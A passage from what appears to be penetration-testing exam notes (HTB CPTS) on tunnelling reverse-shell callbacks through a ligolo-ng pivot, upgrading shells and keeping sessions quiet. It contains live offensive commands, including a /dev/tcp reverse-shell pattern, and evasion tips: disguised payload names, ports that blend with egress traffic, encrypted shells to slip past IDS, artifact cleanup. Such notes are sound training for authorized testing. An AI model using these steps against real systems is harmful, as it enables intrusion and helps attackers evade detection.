ligolo-ng » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444   # in the agent session
# now generate payloads with LHOST=<pivot host's internal IP> LPORT=4444 — the callback
# lands on the agent's listener and relays down the tunnel to my nc/multi-handler.

[!tip] CPTS tip The gotcha that eats exam time: payloads generated for internal hosts must call back to an IP the internal host can reach (the pivot/agent IP), not my tun0. Then the agent’s listener_add (ligolo-ng) or R:port (chisel) relays it to my real listener. Draw the path once on paper: internal host → pivot IP:4444 → tunnel → my 4444.

Also: ligolo-ng needs its proxy running on my box and a TUN interface up (sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up, then start in the proxy session) before agents can dial back — the “agent connects but no routes work” failure is almost always a missing ip route add <internal>/24 dev ligolo. Full sequence in Stage 10.


OPSEC & shell hygiene (wrap-up)

[!example] CPTS exam flow in 6 steps

  1. Get execution primitive (web shell / RCE) → 2. listener up on 443 → 3. fire the reverse one-liner matching the target’s interpreters → 4. TTY upgrade (python3 -c 'import pty;...' + stty raw -echo; fg + rows/cols) → 5. if post-ex needed, msfvenom + multi/handler (ExitOnSession false) → 6. enumerate toward Stage 09, loot toward Stage 10. Practise the whole chain until it’s muscle memory — the exam clock punishes re-reading this note.
  • Payload naming (T1036): shell.exe/met.exe are triage bait. Rename to plausible system-ish names and log the mapping in notes.
  • Port choice: 443/80 blend with egress; 4444/1337 are watchlisted outside labs. One port per listener; record port → payload → target.
  • Staged vs stageless reliability: staged meterpreter is smaller but dies on lossy tunnels mid-stage; stageless singles survive rough links and can be caught by bare nc — choose per link quality, not habit.
  • Plaintext shells are wire-visible: bash -i >& /dev/tcp/... is trivially readable by any IDS. Prefer openssl/socat-TLS or meterpreter reverse_https when inspection is a risk.
  • Webshells and payloads on disk are IOCs: delete dropped .php/.aspx/.exe artifacts at the end, kill leftover bind listeners, and note every planted file for the report (T1070.004).
  • Sessions are perishable: services restart, webshells get wiped, AV eats payloads. Get enumeration data (and loot) off the box early rather than assuming the shell survives the night.
  • Track the shell inventory: one line per live shell in notes — host / user-context / catch port / payload type / staged artifact path. When the engagement report needs “what ran where” for ATT&CK mapping, this list is the source of truth.
  • Exit cleanly: background or exit sessions deliberately, kill handlers via jobs -k, and confirm no stray bind listeners remain on targets (ss -lntup / netstat -ano where reachable).

[!navigation] Continue the attack flow Previous: Foothold Toolkit — File Transfers

Dashboard: HTB Pentest Attack Flow

Next: Stage 03 — Service Enumeration